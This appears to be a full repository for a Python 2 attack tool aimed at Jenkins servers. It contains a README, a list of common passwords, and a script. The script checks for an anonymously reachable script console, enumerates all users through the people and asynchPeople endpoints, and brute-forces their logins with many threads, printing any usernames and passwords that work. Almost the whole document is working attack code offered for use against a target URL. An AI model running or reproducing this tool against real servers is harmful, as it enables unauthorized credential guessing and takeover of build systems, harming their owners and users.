├── .idea ├── Jenkins.iml ├── misc.xml ├── modules.xml ├── vcs.xml └── workspace.xml ├── README.md ├── comm_dic.txt └── jenkins.py /.idea/Jenkins.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 10 | 11 | 12 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 32 | 33 | 34 | 35 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Jenkins 2 | Jenkins匿名脚本访问探测、用户抓取并批量爆破 3 | 4 | 运行环境 5 | CentOS、Kali Linux、Ubuntu、Debian 6 | Python 2.7.x 7 | BeautifulSoup4 8 | request 9 | 10 | 使用方法 11 | 12 | python jenkins.py -u http://www.xxx.com/jenkins/ 13 | -------------------------------------------------------------------------------- /comm_dic.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | a123456 3 | 123456a 4 | 5201314 5 | 111111 6 | woaini1314 7 | qq123456 8 | 123123 9 | 000000 10 | 1qaz2wsx 11 | 1q2w3e4r 12 | qwe123 13 | 7758521 14 | 123qwe 15 | a123123 16 | 123456aa 17 | woaini520 18 | woaini 19 | 100200 20 | 1314520 21 | woaini123 22 | 123321 23 | q123456 24 | 123456789 25 | 123456789a 26 | 5211314 27 | asd123 28 | a123456789 29 | z123456 30 | asd123456 31 | a5201314 32 | aa123456 33 | zhang123 34 | aptx4869 35 | 123123a 36 | 1q2w3e4r5t 37 | 1qazxsw2 38 | 5201314a 39 | 1q2w3e 40 | aini1314 41 | 31415926 42 | q1w2e3r4 43 | 123456qq 44 | woaini521 45 | 1234qwer 46 | a111111 47 | 520520 48 | iloveyou 49 | abc123 50 | 110110 51 | 111111a 52 | 123456abc 53 | w123456 54 | 7758258 55 | 123qweasd 56 | 159753 57 | qwer1234 58 | a000000 59 | qq123123 60 | zxc123 61 | 123654 62 | abc123456 63 | 123456q 64 | qq5201314 65 | 12345678 66 | 000000a 67 | 456852 68 | as123456 69 | 1314521 70 | 112233 71 | 521521 72 | qazwsx123 73 | zxc123456 74 | abcd1234 75 | asdasd 76 | 666666 77 | love1314 78 | QAZ123 79 | aaa123 80 | q1w2e3 81 | aaaaaa 82 | a123321 83 | 123000 84 | 11111111 85 | 12qwaszx 86 | 5845201314 87 | s123456 88 | nihao123 89 | caonima123 90 | zxcvbnm123 91 | wang123 92 | 159357 93 | 1A2B3C4D 94 | asdasd123 95 | 584520 96 | 753951 97 | 147258 98 | 1123581321 99 | 110120 100 | qq1314520 -------------------------------------------------------------------------------- /jenkins.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/evn/python 2 | #-*- coding:utf-8 -*- 3 | __author__ = 'BlackYe.' 4 | 5 | import optparse 6 | import urlparse, urllib, urllib2 7 | import socket 8 | from bs4 import BeautifulSoup, SoupStrainer 9 | import re 10 | import requests 11 | import cookielib 12 | import json 13 | import time,sys 14 | import threading 15 | import Queue 16 | 17 | PEOPLE_PERFIX = 'people/' 18 | ASYNCH_PEOPEL_PERFIX = 'asynchPeople/' 19 | VERSION_TAG = 'http://jenkins-ci.org' 20 | 21 | HTTP_HEADERS = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11", 22 | "Accept" : "*/*", 23 | "Cookie": ' bdshare_firstime=1418272043781; mr_97113_1TJ_key=3_1418398208619;'} 24 | 25 | 26 | USER_LIST = Queue.Queue(0) 27 | BRUST_USER_QUEUE = Queue.Queue(0) 28 | SUC_USER_QUEUE = Queue.Queue(0) 29 | 30 | def color_output(output, bSuccess = True): 31 | if bSuccess: 32 | print '\033[1;32;40m%s\033[0m' % output 33 | else: 34 | print '\033[1;31;40m%s\033[0m' % output 35 | 36 | class RedirctHandler(urllib2.HTTPRedirectHandler): 37 | def http_error_301(self, req, fp, code, msg, headers): 38 | pass 39 | 40 | def http_error_302(self, req, fp, code, msg, headers): 41 | pass 42 | 43 | class BrustThread(threading.Thread): 44 | 45 | def __init__(self, brust_url, timeout = 10): 46 | threading.Thread.__init__(self) 47 | self.brust_url = brust_url 48 | self.timeout = timeout 49 | self.try_timeout_cnt = 3 50 | 51 | def run(self): 52 | while BRUST_USER_QUEUE.qsize() > 0: 53 | user_pwd_info = BRUST_USER_QUEUE.get() 54 | if user_pwd_info['count'] < self.try_timeout_cnt: 55 | self.brust(user_pwd_info['user'], user_pwd_info['password'], user_pwd_info['count']) 56 | 57 | 58 | def brust(self, user, pwd, count): 59 | global SUC_USER_QUEUE 60 | opener = urllib2.build_opener(RedirctHandler) 61 | urllib2.install_opener(opener) 62 | 63 | try: 64 | request = urllib2.Request(self.brust_url) 65 | json_data = '{"j_username":"%s", "j_password":"%s", "remember_me":false}' % (user, pwd) 66 | data = {"j_username":"%s" % user, "j_password":"%s" % pwd, "json":json_data, "Submit":"登录"} 67 | postdata = urllib.urlencode(data) 68 | resp = urllib2.urlopen(request, postdata, timeout = self.timeout) 69 | 70 | except urllib2.HTTPError,e: 71 | if e.code == 404: 72 | color_output(u'[-]....brust url error:%d' % e.code) 73 | sys.exit() 74 | elif e.code == 301 or e.code == 302: 75 | result = re.findall(u'(.*)loginError', e.headers['Location']) 76 | if len(result) != 0: 77 | color_output(u'[-]....尝试登陆组合 %s:%s, 失败!' % (user, pwd), False) 78 | else: 79 | SUC_USER_QUEUE.put_nowait({'user':user, 'pwd':pwd}) 80 | color_output(u'[-]....尝试登陆组合 %s:%s, 爆破成功!!!' % (user, pwd)) 81 | #print e.headers 82 | else: 83 | color_output(u'[-]....尝试登陆组合 %s:%s, 失败!' % (user, pwd), False) 84 | except socket.timeout: 85 | color_output(u'[-]....尝试登陆组合 %s:%s, 返回码:timeout' % (user, pwd), False) 86 | #push to task queue 87 | cnt = count + 1 88 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":pwd, "count":cnt}) 89 | except Exception,e: 90 | color_output(u'[-]....尝试登陆组合 %s:%s, 返回码:%s' % (user, pwd, str(e)), False) 91 | 92 | 93 | 94 | class Jenkins(object): 95 | 96 | def __init__(self, url, thread_num = 10, pwd_dic = "comm_dic.txt"): 97 | self.url = url 98 | self.user_list = [] #user list 99 | self.check_version = "1.5" 100 | self.user_link = "asynchPeople" 101 | self.timeout = 4 102 | self.thread_num = thread_num 103 | self.brust_url = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', 'j_acegi_security_check') 104 | self.pwd_list = [] 105 | self.pwd_suffix = ['', '123','1234','12345','000'] 106 | 107 | pwd_list = [] 108 | with open(pwd_dic) as file: 109 | for line in file.readlines(): 110 | pwd_list.append(line.strip(' \r\n')) 111 | 112 | self.pwd_list.extend(pwd_list) 113 | 114 | def __bAnonymous_access(self): 115 | target_url = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', 'script') 116 | try: 117 | resp = urllib2.urlopen(target_url, timeout= self.timeout) 118 | color_output('[+]....%s anonymous access vul!' % target_url) 119 | return (True, 1) 120 | except urllib2.HTTPError,e: 121 | if e.code == 403: 122 | color_output('[+]....%s unable anonymous access!' % target_url, False) 123 | return (False, 1) 124 | else: 125 | return (False, 0) 126 | except urllib2.URLError: 127 | color_output('[+]....%s unable anonymous access!' % target_url, False) 128 | return (False, -1) 129 | except socket.timeout,e: 130 | print "[-]....%s can't access!" % target_url 131 | return (False, -1) 132 | 133 | def __get_version(self): 134 | ''' 135 | get jenkins version 136 | :return: 137 | ''' 138 | try: 139 | html = urllib2.urlopen(self.url + '/login?from=%2F').read() 140 | links = SoupStrainer('a' ,href = re.compile(VERSION_TAG)) 141 | version_text = BeautifulSoup(html, "html.parser", parse_only= links) 142 | if version_text.text != "": 143 | color_output("[+]....jenkins version is %s" % version_text.text) 144 | version_re = re.findall(u"ver.\s(.*)" ,version_text.text) 145 | if len(version_re) != 0: 146 | if version_re[0][0:4] >= self.check_version: 147 | self.user_link = ASYNCH_PEOPEL_PERFIX 148 | else: 149 | self.user_link = PEOPLE_PERFIX 150 | else: 151 | color_output("[-]....can't get jenkins version!") 152 | sys.exit() 153 | except urllib2.URLError,e: 154 | color_output("[-]....can't get jenkins version!") 155 | sys.exit() 156 | except Exception,e: 157 | color_output("[-]....get version error:%s" % str(e)) 158 | sys.exit() 159 | 160 | 161 | def get_all_user_by_people(self): 162 | user_link = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', self.user_link) 163 | try: 164 | html = requests.get(user_link, timeout = self.timeout, headers = HTTP_HEADERS).text 165 | soup = BeautifulSoup(html, "html.parser") 166 | table_tag = soup.findAll('table', attrs={'id':'people'}) 167 | for user_href_tag in table_tag[0].findAll('a', attrs={"class":'model-link'}): 168 | href = user_href_tag.get('href') 169 | if href != u'/': 170 | self.user_list.append(href.replace('/user/', '').strip('/')) 171 | 172 | except requests.exceptions.ConnectTimeout: 173 | color_output("[-]....%s timeout!" % user_link) 174 | except Exception: 175 | color_output("[-]....get_all_user_by_people error!") 176 | 177 | 178 | 179 | def get_all_user_by_async(self): 180 | user_link = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', self.user_link) 181 | cookiejar = cookielib.CookieJar() 182 | #httpHandler = urllib2.HTTPHandler(debuglevel=1) 183 | #opener = urllib2.build_opener(httpHandler, urllib2.HTTPCookieProcessor(cookiejar)) 184 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar)) 185 | 186 | opener.addheaders = [('User-Agent', HTTP_HEADERS['User-Agent'])] 187 | urllib2.install_opener(opener) 188 | 189 | try: 190 | html = urllib2.urlopen(user_link, timeout = self.timeout).read() 191 | result = re.findall(u'makeStaplerProxy\(\'(.*);', html) 192 | if len(result) != 0: 193 | re_list = result[0].split(',') 194 | proxy_num = re_list[0][re_list[0].rfind('/')+1:-1] 195 | crumb = re_list[1].strip('\'') 196 | 197 | if len(re_list) == 4 and re_list[2].find('start') == -1: 198 | self.user_list.extend(self.__get_peopel_waiting_done(urllib2, user_link ,crumb, proxy_num)) 199 | else: 200 | start_url = '%s/$stapler/bound/%s/start' % (self.url, proxy_num) 201 | req = urllib2.Request(start_url, data = '[]') 202 | req.add_header("Content-type", 'application/x-stapler-method-invocation;charset=UTF-8') 203 | req.add_header("X-Prototype-Version", "1.7") 204 | req.add_header("Origin", self.url) 205 | req.add_header("Crumb", crumb) 206 | req.add_header("Accept", 'text/javascript, text/html, application/xml, text/xml, */*') 207 | req.add_header("X-Requested-With", "XMLHttpRequest") 208 | req.add_header("Referer", user_link) 209 | resp = urllib2.urlopen(req, timeout = self.timeout) 210 | 211 | if resp.getcode() == 200: 212 | self.user_list.extend(self.__get_peopel_waiting_done(urllib2, user_link, crumb, proxy_num)) 213 | 214 | except urllib2.HTTPError,e: 215 | color_output('[-]....get_all_user_by_async failed, retcode:%d' % e.code, False) 216 | return False 217 | except socket.timeout: 218 | color_output('[-]....get_all_user_by_async timeout' , False) 219 | return False 220 | except Exception,e: 221 | color_output('[-]....get_all_user_by_async error:%s' % str(e), False) 222 | return False 223 | 224 | 225 | def __get_peopel_waiting_done(self, URLLIB2, referer, crumb, proxy_num): 226 | b_done = True 227 | user_list = [] 228 | while b_done: 229 | try: 230 | news_url = '%s/$stapler/bound/%s/news' % (self.url, proxy_num) 231 | req = URLLIB2.Request(news_url, data = '[]') 232 | req.add_header("Content-type", 'application/x-stapler-method-invocation;charset=UTF-8') 233 | req.add_header("X-Prototype-Version", "1.7") 234 | req.add_header("Content-Length",'2') 235 | req.add_header("Accept-Encoding", "identity") 236 | req.add_header("Origin", self.url) 237 | req.add_header("Crumb", crumb) 238 | req.add_header("X-Requested-With", "XMLHttpRequest") 239 | req.add_header("Referer", referer) 240 | resp = URLLIB2.urlopen(req, timeout = self.timeout) 241 | 242 | if resp.getcode() == 200: 243 | try: 244 | content = resp.read() 245 | ret_json = json.loads(content, encoding="utf-8") 246 | for item in ret_json['data']: 247 | if item['id'] != None: 248 | user_list.append(item['id']) 249 | 250 | if ret_json['status'] == 'done': #wait recv end 251 | b_done = False 252 | 253 | time.sleep(0.5) 254 | 255 | except Exception,e: 256 | print str(e) 257 | b_done = False 258 | else: 259 | b_done = False 260 | 261 | except urllib2.HTTPError,e: 262 | b_done = False 263 | except socket.timeout: 264 | b_done = False 265 | except Exception: 266 | b_done = False 267 | 268 | return list(set(user_list)) 269 | 270 | 271 | def work(self): 272 | print '-' * 50 273 | print '* Detect Jenkins anonymous access' 274 | print '-' * 50 275 | info, status = self.__bAnonymous_access() 276 | 277 | if status == 1 and not info: 278 | print '-' * 50 279 | print '* Get Jenkins Version' 280 | print '-' * 50 281 | self.__get_version() #获取版本信息 282 | 283 | print '-' * 50 284 | print '* Get Jenkins All user' 285 | print '-' * 50 286 | 287 | if self.user_link == PEOPLE_PERFIX: 288 | self.get_all_user_by_people() 289 | elif self.user_link == ASYNCH_PEOPEL_PERFIX: 290 | self.get_all_user_by_async() 291 | 292 | color_output('[+]....Jenkins All user count:%d' % len(self.user_list), True) 293 | if len(self.user_list) != 0: 294 | 295 | for user in self.user_list: 296 | for pwd in self.pwd_list: 297 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":pwd, "count":0}) 298 | #动态生成密码 299 | for suffix_pwd in self.pwd_suffix: 300 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":user + suffix_pwd, "count":0}) 301 | 302 | print '-' * 50 303 | print '* Brust All Jenkins User' 304 | print '-' * 50 305 | 306 | threads = [] 307 | for i in range(self.thread_num): 308 | brustthread = BrustThread(self.brust_url) 309 | threads.append(brustthread) 310 | 311 | for brustthread in threads: 312 | brustthread.start() 313 | 314 | for brustthread in threads: 315 | brustthread.join() 316 | 317 | if SUC_USER_QUEUE.qsize() > 0: 318 | print '-' * 50 319 | print '* Brust All User Success Result' 320 | print '-' * 50 321 | print 'total success count : %d' % SUC_USER_QUEUE.qsize() 322 | while SUC_USER_QUEUE.qsize() > 0: 323 | suc_user_dic = SUC_USER_QUEUE.get_nowait() 324 | color_output('User:%s, Password:%s' % (suc_user_dic['user'], suc_user_dic['pwd'])) 325 | 326 | 327 | def test(self): 328 | self.__bAnonymous_access() 329 | 330 | if __name__ == '__main__': 331 | parser = optparse.OptionParser('usage: python %prog [options](eg: python %prog http://www.qq.com/)') 332 | parser.add_option('-u', '--url', dest = 'url', type = 'string', help = 'target url') 333 | parser.add_option('-t', '--threads', dest='thread_num', type = 'int', default = 10, help = 'Number of threads. default = 10') 334 | parser.add_option('-f', '--dic', dest = 'dic', type='string', default = 'comm_dic.txt', help = 'Dict file used to brute jenkins') 335 | 336 | (options, args) = parser.parse_args() 337 | if options.url == None or options.url == "": 338 | parser.print_help() 339 | sys.exit() 340 | 341 | jenkins_work = Jenkins(url = options.url, thread_num = options.thread_num, pwd_dic = options.dic) 342 | jenkins_work.work() --------------------------------------------------------------------------------